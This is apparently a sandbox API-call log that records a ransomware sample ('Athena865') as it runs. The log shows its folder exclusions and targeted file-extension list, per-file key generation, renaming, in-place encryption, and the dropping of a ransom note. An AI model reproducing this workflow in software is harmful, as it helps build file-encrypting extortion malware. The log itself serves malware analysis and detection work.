[0037.750] lstrlenW (lpString=".ini") returned 4 [0037.750] lstrcmpiW (lpString1="rtstreamsource.ax", lpString2=".ini") returned 1 [0037.750] lstrlenW (lpString=".sys") returned 4 [0037.750] lstrcmpiW (lpString1="rtstreamsource.ax", lpString2=".sys") returned 1 [0037.750] lstrlenW (lpString="rtstreamsource.ax") returned 17 [0037.750] lstrlenW (lpString="bak") returned 3 [0037.750] lstrcmpiW (lpString1=".ax", lpString2="bak") returned -1 [0037.750] lstrlenW (lpString="ba_") returned 3 [0037.750] lstrcmpiW (lpString1=".ax", lpString2="ba_") returned -1 [0037.750] lstrlenW (lpString="dbb") returned 3 [0037.750] lstrcmpiW (lpString1=".ax", lpString2="dbb") returned -1 [0037.750] lstrlenW (lpString="vmdk") returned 4 [0037.750] lstrcmpiW (lpString1="e.ax", lpString2="vmdk") returned -1 [0037.750] lstrlenW (lpString="rar") returned 3 [0037.750] lstrcmpiW (lpString1=".ax", lpString2="rar") returned -1 [0037.750] lstrlenW (lpString="zip") returned 3 [0037.750] lstrcmpiW (lpString1=".ax", lpString2="zip") returned -1 [0037.750] lstrlenW (lpString="tgz") returned 3 [0037.750] lstrcmpiW (lpString1=".ax", lpString2="tgz") returned -1 [0037.750] lstrlenW (lpString="vbox") returned 4 [0037.750] lstrcmpiW (lpString1="e.ax", lpString2="vbox") returned -1 [0037.750] lstrlenW (lpString="vdi") returned 3 [0037.750] lstrcmpiW (lpString1=".ax", lpString2="vdi") returned -1 [0037.750] lstrlenW (lpString="vhd") returned 3 [0037.750] lstrcmpiW (lpString1=".ax", lpString2="vhd") returned -1 [0037.750] lstrlenW (lpString="vhdx") returned 4 [0037.750] lstrcmpiW (lpString1="e.ax", lpString2="vhdx") returned -1 [0037.750] lstrlenW (lpString="avhd") returned 4 [0037.750] lstrcmpiW (lpString1="e.ax", lpString2="avhd") returned 1 [0037.750] lstrlenW (lpString="db") returned 2 [0037.750] lstrcmpiW (lpString1="ax", lpString2="db") returned -1 [0037.750] lstrlenW (lpString="db2") returned 3 [0037.750] lstrcmpiW (lpString1=".ax", lpString2="db2") returned -1 [0037.750] lstrlenW (lpString="db3") returned 3 [0037.750] lstrcmpiW (lpString1=".ax", lpString2="db3") returned -1 [0037.750] lstrlenW (lpString="dbf") returned 3 [0037.751] lstrcmpiW (lpString1=".ax", lpString2="dbf") returned -1 [0037.751] lstrlenW (lpString="mdf") returned 3 [0037.751] lstrcmpiW (lpString1=".ax", lpString2="mdf") returned -1 [0037.751] lstrlenW (lpString="mdb") returned 3 [0037.751] lstrcmpiW (lpString1=".ax", lpString2="mdb") returned -1 [0037.751] lstrlenW (lpString="sql") returned 3 [0037.751] lstrcmpiW (lpString1=".ax", lpString2="sql") returned -1 [0037.751] lstrlenW (lpString="sqlite") returned 6 [0037.751] lstrcmpiW (lpString1="rce.ax", lpString2="sqlite") returned -1 [0037.751] lstrlenW (lpString="sqlite3") returned 7 [0037.751] lstrcmpiW (lpString1="urce.ax", lpString2="sqlite3") returned 1 [0037.751] lstrlenW (lpString="sqlitedb") returned 8 [0037.751] lstrcmpiW (lpString1="ource.ax", lpString2="sqlitedb") returned -1 [0037.751] lstrlenW (lpString="xml") returned 3 [0037.751] lstrcmpiW (lpString1=".ax", lpString2="xml") returned -1 [0037.751] lstrlenW (lpString="$er") returned 3 [0037.751] lstrcmpiW (lpString1=".ax", lpString2="$er") returned 1 [0037.751] lstrlenW (lpString="4dd") returned 3 [0037.751] lstrcmpiW (lpString1=".ax", lpString2="4dd") returned -1 [0037.751] lstrlenW (lpString="4dl") returned 3 [0037.751] lstrcmpiW (lpString1=".ax", lpString2="4dl") returned -1 [0037.751] lstrlenW (lpString="^^^") returned 3 [0037.751] lstrcmpiW (lpString1=".ax", lpString2="^^^") returned -1 [0037.751] lstrlenW (lpString="abs") returned 3 [0037.751] lstrcmpiW (lpString1=".ax", lpString2="abs") returned -1 [0037.751] lstrlenW (lpString="abx") returned 3 [0037.751] lstrcmpiW (lpString1=".ax", lpString2="abx") returned -1 [0037.751] lstrlenW (lpString="accdb") returned 5 [0037.751] lstrcmpiW (lpString1="ce.ax", lpString2="accdb") returned 1 [0037.751] lstrlenW (lpString="accdc") returned 5 [0037.751] lstrcmpiW (lpString1="ce.ax", lpString2="accdc") returned 1 [0037.751] lstrlenW (lpString="accde") returned 5 [0037.751] lstrcmpiW (lpString1="ce.ax", lpString2="accde") returned 1 [0037.751] lstrlenW (lpString="accdr") returned 5 [0037.751] lstrcmpiW (lpString1="ce.ax", lpString2="accdr") returned 1 [0037.751] lstrlenW (lpString="accdt") returned 5 [0037.751] lstrcmpiW (lpString1="ce.ax", lpString2="accdt") returned 1 [0037.751] lstrlenW (lpString="accdw") returned 5 [0037.752] lstrcmpiW (lpString1="ce.ax", lpString2="accdw") returned 1 [0037.752] lstrlenW (lpString="accft") returned 5 [0037.752] lstrcmpiW (lpString1="ce.ax", lpString2="accft") returned 1 [0037.752] lstrlenW (lpString="adb") returned 3 [0037.752] lstrcmpiW (lpString1=".ax", lpString2="adb") returned -1 [0037.752] lstrlenW (lpString="adb") returned 3 [0037.752] lstrcmpiW (lpString1=".ax", lpString2="adb") returned -1 [0037.752] lstrlenW (lpString="ade") returned 3 [0037.752] lstrcmpiW (lpString1=".ax", lpString2="ade") returned -1 [0037.752] lstrlenW (lpString="adf") returned 3 [0037.752] lstrcmpiW (lpString1=".ax", lpString2="adf") returned -1 [0037.752] lstrlenW (lpString="adn") returned 3 [0037.752] lstrcmpiW (lpString1=".ax", lpString2="adn") returned -1 [0037.752] lstrlenW (lpString="adp") returned 3 [0037.752] lstrcmpiW (lpString1=".ax", lpString2="adp") returned -1 [0037.752] lstrlenW (lpString="alf") returned 3 [0037.752] lstrcmpiW (lpString1=".ax", lpString2="alf") returned -1 [0037.752] lstrlenW (lpString="ask") returned 3 [0037.752] lstrcmpiW (lpString1=".ax", lpString2="ask") returned -1 [0037.752] lstrlenW (lpString="btr") returned 3 [0037.752] lstrcmpiW (lpString1=".ax", lpString2="btr") returned -1 [0037.752] lstrlenW (lpString="cat") returned 3 [0037.752] lstrcmpiW (lpString1=".ax", lpString2="cat") returned -1 [0037.752] lstrlenW (lpString="cdb") returned 3 [0037.752] lstrcmpiW (lpString1=".ax", lpString2="cdb") returned -1 [0037.752] lstrlenW (lpString="ckp") returned 3 [0037.752] lstrcmpiW (lpString1=".ax", lpString2="ckp") returned -1 [0037.752] lstrlenW (lpString="cma") returned 3 [0037.752] lstrcmpiW (lpString1=".ax", lpString2="cma") returned -1 [0037.752] lstrlenW (lpString="cpd") returned 3 [0037.752] lstrcmpiW (lpString1=".ax", lpString2="cpd") returned -1 [0037.752] lstrlenW (lpString="dacpac") returned 6 [0037.752] lstrcmpiW (lpString1="rce.ax", lpString2="dacpac") returned 1 [0037.752] lstrlenW (lpString="dad") returned 3 [0037.752] lstrcmpiW (lpString1=".ax", lpString2="dad") returned -1 [0037.752] lstrlenW (lpString="dadiagrams") returned 10 [0037.752] lstrcmpiW (lpString1="msource.ax", lpString2="dadiagrams") returned 1 [0037.752] lstrlenW (lpString="daschema") returned 8 [0037.753] lstrcmpiW (lpString1="ource.ax", lpString2="daschema") returned 1 [0037.753] lstrlenW (lpString="db-journal") returned 10 [0037.753] lstrcmpiW (lpString1="msource.ax", lpString2="db-journal") returned 1 [0037.753] lstrlenW (lpString="db-shm") returned 6 [0037.753] lstrcmpiW (lpString1="rce.ax", lpString2="db-shm") returned 1 [0037.753] lstrlenW (lpString="db-wal") returned 6 [0037.753] lstrcmpiW (lpString1="rce.ax", lpString2="db-wal") returned 1 [0037.753] lstrlenW (lpString="dbc") returned 3 [0037.753] lstrcmpiW (lpString1=".ax", lpString2="dbc") returned -1 [0037.753] lstrlenW (lpString="dbs") returned 3 [0037.753] lstrcmpiW (lpString1=".ax", lpString2="dbs") returned -1 [0037.753] lstrlenW (lpString="dbt") returned 3 [0037.753] lstrcmpiW (lpString1=".ax", lpString2="dbt") returned -1 [0037.753] lstrlenW (lpString="dbv") returned 3 [0037.753] lstrcmpiW (lpString1=".ax", lpString2="dbv") returned -1 [0037.753] lstrlenW (lpString="dbx") returned 3 [0037.753] lstrcmpiW (lpString1=".ax", lpString2="dbx") returned -1 [0037.753] lstrlenW (lpString="dcb") returned 3 [0037.753] lstrcmpiW (lpString1=".ax", lpString2="dcb") returned -1 [0037.753] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\DVD Maker\\rtstreamsource.ax.Athena865") returned 54 [0037.753] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\rtstreamsource.ax" (normalized: "c:\\program files\\dvd maker\\rtstreamsource.ax"), lpNewFileName="C:\\Program Files\\DVD Maker\\rtstreamsource.ax.Athena865" (normalized: "c:\\program files\\dvd maker\\rtstreamsource.ax.athena865"), dwFlags=0x1) returned 1 [0037.755] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\rtstreamsource.ax.Athena865" (normalized: "c:\\program files\\dvd maker\\rtstreamsource.ax.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0037.755] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=52736) returned 1 [0037.755] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0037.756] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d0c0 [0037.756] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519228 [0037.756] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5192b0) returned 1 [0037.756] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0037.756] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0037.757] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd100, lpName=0x0) returned 0x154 [0037.759] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd100) returned 0x100000 [0037.768] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5192b0) returned 1 [0037.768] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0037.768] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0037.768] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d138 [0037.769] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d138 | out: hHeap=0x4f0000) returned 1 [0037.769] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52f908 [0037.769] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511438 [0037.769] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0037.769] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511668 [0037.769] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52f908 [0037.769] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511668 | out: hHeap=0x4f0000) returned 1 [0037.769] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0037.769] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511438 | out: hHeap=0x4f0000) returned 1 [0037.769] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0037.770] CloseHandle (hObject=0x154) returned 1 [0037.770] CloseHandle (hObject=0x17c) returned 1 [0037.771] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d0c0 | out: hHeap=0x4f0000) returned 1 [0037.771] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519228 | out: hHeap=0x4f0000) returned 1 [0037.771] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0037.772] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd55c168a, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xd55c168a, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x499cc441, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x18208, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SecretST.TTF", cAlternateFileName="")) returned 1 [0037.772] lstrcmpiW (lpString1="SecretST.TTF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0037.772] lstrcmpiW (lpString1="SecretST.TTF", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0037.772] lstrcmpiW (lpString1="SecretST.TTF", lpString2=".") returned 1 [0037.772] lstrcmpiW (lpString1="SecretST.TTF", lpString2="..") returned 1 [0037.772] lstrcmpiW (lpString1="SecretST.TTF", lpString2="windows") returned -1 [0037.772] lstrcmpiW (lpString1="SecretST.TTF", lpString2="bootmgr") returned 1 [0037.772] lstrcmpiW (lpString1="SecretST.TTF", lpString2="temp") returned -1 [0037.772] lstrcmpiW (lpString1="SecretST.TTF", lpString2="pagefile.sys") returned 1 [0037.772] lstrcmpiW (lpString1="SecretST.TTF", lpString2="boot") returned 1 [0037.772] lstrcmpiW (lpString1="SecretST.TTF", lpString2="ids.txt") returned 1 [0037.772] lstrcmpiW (lpString1="SecretST.TTF", lpString2="ntuser.dat") returned 1 [0037.772] lstrcmpiW (lpString1="SecretST.TTF", lpString2="perflogs") returned 1 [0037.772] lstrcmpiW (lpString1="SecretST.TTF", lpString2="MSBuild") returned 1 [0037.772] lstrlenW (lpString="SecretST.TTF") returned 12 [0037.772] lstrcpyW (in: lpString1=0x241e87e, lpString2="SecretST.TTF" | out: lpString1="SecretST.TTF") returned="SecretST.TTF" [0037.772] lstrlenW (lpString="SecretST.TTF") returned 12 [0037.772] lstrlenW (lpString="Athena865") returned 9 [0037.772] lstrcmpiW (lpString1="retST.TTF", lpString2="Athena865") returned 1 [0037.772] lstrlenW (lpString=".dll") returned 4 [0037.772] lstrcmpiW (lpString1="SecretST.TTF", lpString2=".dll") returned 1 [0037.772] lstrlenW (lpString=".lnk") returned 4 [0037.772] lstrcmpiW (lpString1="SecretST.TTF", lpString2=".lnk") returned 1 [0037.772] lstrlenW (lpString=".ini") returned 4 [0037.772] lstrcmpiW (lpString1="SecretST.TTF", lpString2=".ini") returned 1 [0037.772] lstrlenW (lpString=".sys") returned 4 [0037.772] lstrcmpiW (lpString1="SecretST.TTF", lpString2=".sys") returned 1 [0037.772] lstrlenW (lpString="SecretST.TTF") returned 12 [0037.773] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\DVD Maker\\SecretST.TTF.Athena865") returned 49 [0037.773] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\SecretST.TTF" (normalized: "c:\\program files\\dvd maker\\secretst.ttf"), lpNewFileName="C:\\Program Files\\DVD Maker\\SecretST.TTF.Athena865" (normalized: "c:\\program files\\dvd maker\\secretst.ttf.athena865"), dwFlags=0x1) returned 1 [0037.773] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\SecretST.TTF.Athena865" (normalized: "c:\\program files\\dvd maker\\secretst.ttf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0037.773] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=98824) returned 1 [0037.773] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0037.774] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d0c0 [0037.774] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519228 [0037.774] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5192b0) returned 1 [0037.774] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0037.774] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0037.775] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x18510, lpName=0x0) returned 0x154 [0037.776] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x18510) returned 0x100000 [0037.794] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5192b0) returned 1 [0037.795] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0037.795] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0037.795] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d138 [0037.795] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d138 | out: hHeap=0x4f0000) returned 1 [0037.795] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52f908 [0037.795] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511438 [0037.795] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0037.795] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511668 [0037.795] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52f908 [0037.796] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511668 | out: hHeap=0x4f0000) returned 1 [0037.796] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0037.796] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511438 | out: hHeap=0x4f0000) returned 1 [0037.796] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0037.797] CloseHandle (hObject=0x154) returned 1 [0037.797] CloseHandle (hObject=0x17c) returned 1 [0037.799] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d0c0 | out: hHeap=0x4f0000) returned 1 [0037.799] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519228 | out: hHeap=0x4f0000) returned 1 [0037.799] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0037.799] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9f0852f1, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f0852f1, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Shared", cAlternateFileName="")) returned 1 [0037.799] lstrcmpiW (lpString1="Shared", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0037.799] lstrcmpiW (lpString1="Shared", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0037.799] lstrcmpiW (lpString1="Shared", lpString2=".") returned 1 [0037.799] lstrcmpiW (lpString1="Shared", lpString2="..") returned 1 [0037.800] lstrcmpiW (lpString1="Shared", lpString2="windows") returned -1 [0037.800] lstrcmpiW (lpString1="Shared", lpString2="bootmgr") returned 1 [0037.800] lstrcmpiW (lpString1="Shared", lpString2="temp") returned -1 [0037.800] lstrcmpiW (lpString1="Shared", lpString2="pagefile.sys") returned 1 [0037.800] lstrcmpiW (lpString1="Shared", lpString2="boot") returned 1 [0037.800] lstrcmpiW (lpString1="Shared", lpString2="ids.txt") returned 1 [0037.800] lstrcmpiW (lpString1="Shared", lpString2="ntuser.dat") returned 1 [0037.800] lstrcmpiW (lpString1="Shared", lpString2="perflogs") returned 1 [0037.800] lstrcmpiW (lpString1="Shared", lpString2="MSBuild") returned 1 [0037.800] lstrlenW (lpString="Shared") returned 6 [0037.800] lstrcpyW (in: lpString1=0x241e87e, lpString2="Shared" | out: lpString1="Shared") returned="Shared" [0037.800] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52f700 [0037.800] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x44) returned 0x517118 [0037.800] lstrcatW (in: lpString1="Shared", lpString2="\\" | out: lpString1="Shared\\") returned="Shared\\" [0037.800] lstrcatW (in: lpString1="Shared\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Shared\\HOW TO BACK YOUR FILES.exe") returned="Shared\\HOW TO BACK YOUR FILES.exe" [0037.800] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\dvd maker\\shared\\how to back your files.exe"), bFailIfExists=1) returned 1 [0037.805] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0c03b3f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0c03b3f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0c03b3f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x13600, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="soniccolorconverter.ax", cAlternateFileName="")) returned 1 [0037.805] lstrcmpiW (lpString1="soniccolorconverter.ax", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0037.805] lstrcmpiW (lpString1="soniccolorconverter.ax", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0037.805] lstrcmpiW (lpString1="soniccolorconverter.ax", lpString2=".") returned 1 [0037.805] lstrcmpiW (lpString1="soniccolorconverter.ax", lpString2="..") returned 1 [0037.805] lstrcmpiW (lpString1="soniccolorconverter.ax", lpString2="windows") returned -1 [0037.805] lstrcmpiW (lpString1="soniccolorconverter.ax", lpString2="bootmgr") returned 1 [0037.805] lstrcmpiW (lpString1="soniccolorconverter.ax", lpString2="temp") returned -1 [0037.805] lstrcmpiW (lpString1="soniccolorconverter.ax", lpString2="pagefile.sys") returned 1 [0037.805] lstrcmpiW (lpString1="soniccolorconverter.ax", lpString2="boot") returned 1 [0037.805] lstrcmpiW (lpString1="soniccolorconverter.ax", lpString2="ids.txt") returned 1 [0037.805] lstrcmpiW (lpString1="soniccolorconverter.ax", lpString2="ntuser.dat") returned 1 [0037.805] lstrcmpiW (lpString1="soniccolorconverter.ax", lpString2="perflogs") returned 1 [0037.805] lstrcmpiW (lpString1="soniccolorconverter.ax", lpString2="MSBuild") returned 1 [0037.805] lstrlenW (lpString="soniccolorconverter.ax") returned 22 [0037.805] lstrcpyW (in: lpString1=0x241e87e, lpString2="soniccolorconverter.ax" | out: lpString1="soniccolorconverter.ax") returned="soniccolorconverter.ax" [0037.805] lstrlenW (lpString="soniccolorconverter.ax") returned 22 [0037.805] lstrlenW (lpString="Athena865") returned 9 [0037.805] lstrcmpiW (lpString1="verter.ax", lpString2="Athena865") returned 1 [0037.805] lstrlenW (lpString=".dll") returned 4 [0037.805] lstrcmpiW (lpString1="soniccolorconverter.ax", lpString2=".dll") returned 1 [0037.805] lstrlenW (lpString=".lnk") returned 4 [0037.805] lstrcmpiW (lpString1="soniccolorconverter.ax", lpString2=".lnk") returned 1 [0037.805] lstrlenW (lpString=".ini") returned 4 [0037.805] lstrcmpiW (lpString1="soniccolorconverter.ax", lpString2=".ini") returned 1 [0037.805] lstrlenW (lpString=".sys") returned 4 [0037.805] lstrcmpiW (lpString1="soniccolorconverter.ax", lpString2=".sys") returned 1 [0037.805] lstrlenW (lpString="soniccolorconverter.ax") returned 22 [0037.805] lstrlenW (lpString="bak") returned 3 [0037.805] lstrcmpiW (lpString1=".ax", lpString2="bak") returned -1 [0037.805] lstrlenW (lpString="ba_") returned 3 [0037.806] lstrcmpiW (lpString1=".ax", lpString2="ba_") returned -1 [0037.806] lstrlenW (lpString="dbb") returned 3 [0037.806] lstrcmpiW (lpString1=".ax", lpString2="dbb") returned -1 [0037.806] lstrlenW (lpString="vmdk") returned 4 [0037.806] lstrcmpiW (lpString1="r.ax", lpString2="vmdk") returned -1 [0037.806] lstrlenW (lpString="rar") returned 3 [0037.806] lstrcmpiW (lpString1=".ax", lpString2="rar") returned -1 [0037.806] lstrlenW (lpString="zip") returned 3 [0037.806] lstrcmpiW (lpString1=".ax", lpString2="zip") returned -1 [0037.806] lstrlenW (lpString="tgz") returned 3 [0037.806] lstrcmpiW (lpString1=".ax", lpString2="tgz") returned -1 [0037.806] lstrlenW (lpString="vbox") returned 4 [0037.806] lstrcmpiW (lpString1="r.ax", lpString2="vbox") returned -1 [0037.806] lstrlenW (lpString="vdi") returned 3 [0037.806] lstrcmpiW (lpString1=".ax", lpString2="vdi") returned -1 [0037.806] lstrlenW (lpString="vhd") returned 3 [0037.806] lstrcmpiW (lpString1=".ax", lpString2="vhd") returned -1 [0037.806] lstrlenW (lpString="vhdx") returned 4 [0037.806] lstrcmpiW (lpString1="r.ax", lpString2="vhdx") returned -1 [0037.806] lstrlenW (lpString="avhd") returned 4 [0037.806] lstrcmpiW (lpString1="r.ax", lpString2="avhd") returned 1 [0037.806] lstrlenW (lpString="db") returned 2 [0037.806] lstrcmpiW (lpString1="ax", lpString2="db") returned -1 [0037.806] lstrlenW (lpString="db2") returned 3 [0037.806] lstrcmpiW (lpString1=".ax", lpString2="db2") returned -1 [0037.806] lstrlenW (lpString="db3") returned 3 [0037.806] lstrcmpiW (lpString1=".ax", lpString2="db3") returned -1 [0037.806] lstrlenW (lpString="dbf") returned 3 [0037.806] lstrcmpiW (lpString1=".ax", lpString2="dbf") returned -1 [0037.806] lstrlenW (lpString="mdf") returned 3 [0037.806] lstrcmpiW (lpString1=".ax", lpString2="mdf") returned -1 [0037.806] lstrlenW (lpString="mdb") returned 3 [0037.806] lstrcmpiW (lpString1=".ax", lpString2="mdb") returned -1 [0037.806] lstrlenW (lpString="sql") returned 3 [0037.806] lstrcmpiW (lpString1=".ax", lpString2="sql") returned -1 [0037.806] lstrlenW (lpString="sqlite") returned 6 [0037.806] lstrcmpiW (lpString1="ter.ax", lpString2="sqlite") returned 1 [0037.807] lstrlenW (lpString="sqlite3") returned 7 [0037.807] lstrcmpiW (lpString1="rter.ax", lpString2="sqlite3") returned -1 [0037.807] lstrlenW (lpString="sqlitedb") returned 8 [0037.807] lstrcmpiW (lpString1="erter.ax", lpString2="sqlitedb") returned -1 [0037.807] lstrlenW (lpString="xml") returned 3 [0037.807] lstrcmpiW (lpString1=".ax", lpString2="xml") returned -1 [0037.807] lstrlenW (lpString="$er") returned 3 [0037.807] lstrcmpiW (lpString1=".ax", lpString2="$er") returned 1 [0037.807] lstrlenW (lpString="4dd") returned 3 [0037.807] lstrcmpiW (lpString1=".ax", lpString2="4dd") returned -1 [0037.807] lstrlenW (lpString="4dl") returned 3 [0037.807] lstrcmpiW (lpString1=".ax", lpString2="4dl") returned -1 [0037.807] lstrlenW (lpString="^^^") returned 3 [0037.807] lstrcmpiW (lpString1=".ax", lpString2="^^^") returned -1 [0037.807] lstrlenW (lpString="abs") returned 3 [0037.807] lstrcmpiW (lpString1=".ax", lpString2="abs") returned -1 [0037.807] lstrlenW (lpString="abx") returned 3 [0037.807] lstrcmpiW (lpString1=".ax", lpString2="abx") returned -1 [0037.807] lstrlenW (lpString="accdb") returned 5 [0037.807] lstrcmpiW (lpString1="er.ax", lpString2="accdb") returned 1 [0037.807] lstrlenW (lpString="accdc") returned 5 [0037.807] lstrcmpiW (lpString1="er.ax", lpString2="accdc") returned 1 [0037.807] lstrlenW (lpString="accde") returned 5 [0037.807] lstrcmpiW (lpString1="er.ax", lpString2="accde") returned 1 [0037.807] lstrlenW (lpString="accdr") returned 5 